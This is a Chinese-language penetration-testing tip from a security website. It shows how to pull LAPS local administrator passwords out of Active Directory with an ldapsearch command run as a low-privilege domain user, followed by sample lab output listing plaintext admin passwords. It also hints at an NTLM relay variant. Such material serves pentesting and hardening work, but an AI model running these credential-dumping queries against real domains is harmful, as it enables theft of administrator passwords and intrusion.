频道栏目
首页 > 安全 > 系统安全 > 正文

域渗透TIPS:获取LAPS管理员密码

2017-08-10 09:40:55      个评论      
收藏   我要投稿

如果你之前有对启用LAPS机制的主机进行渗透测试,那么你应该能体会到该机制的随机化本地管理员密码是有多么令人痛苦。

\

LAPS将其信息存储在活动目录:

存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024

以明文显示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

LAPS早期版本中,任何用户都能够读取活动目录中的内容。还好微软已经修复,目前你必须获得该对象的所有扩展权限或者是完全控制权限才能够进行访问。

\

在复杂的真实环境中,内网主机中还可能存在隐藏的OU权限管理员,甚至是拥有完全控制权限的,负责特定用户组的一个标准用户。

得益于Meatballs开发的Metasploit模块:https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成了这项工作。但是我们不可能每次都特地打开一个Meterpreter会话来运行该模块吧?

使用ldapsearch(包含在Debian/Ubuntu的ldapscripts程序包中)可以被用来构造与该模块相同的请求,以下便是一个例子:

ldapsearch -x -h 192.168.80.10 -D \

"helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" \

"(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

解析:

-x – 使用基础身份验证

-h 192.168.80.10 – 将ldap连接到域控制器

-D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录

-b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象

“(ms-MCS-AdmPwd=*)” – 过滤掉所有不能查看的ms-MCS-AdmPwd值 (只要拥有足够的权限,甚至还可以获取Administrator密码)

ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包含对象名以及DN,所以你还是能知道主机从属关系)

运行情况如下:

$ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

# extended LDIF

#

# LDAPv3

# base with scope subtree

# filter: (ms-MCS-AdmPwd=*)

# requesting: ms-MCS-AdmPwd

#

# DC1, Domain Controllers, sittingduck.info

dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info

ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F

# SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info

dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info

ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR

# SD_WSUS_2012, LabComputers, Lab, sittingduck.info

dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info

ms-Mcs-AdmPwd: +3!UY5@g9B.64RV2z/T

# WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info

dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info

ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(

# search reference

ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info

# search reference

ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D

C=info

# search reference

ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D

C=info

# search reference

ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info

# search result

search: 2

result: 0 Success

至从获得本地管理员密码,但还没有确定该帐号是否启用,你可以使用Kerberos进行身份验证。由于Windows中域控制器对LDAP连接不会要求证书验证(据我所知),你只需在ntlmrelayx.py进行一些小修改就能转储LAPS密码了;-)

上一篇:Loadlibrary:将Windows的动态链接库移植到Linux下
下一篇:如何利用神经网络和Python生成指定模式的密码?
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站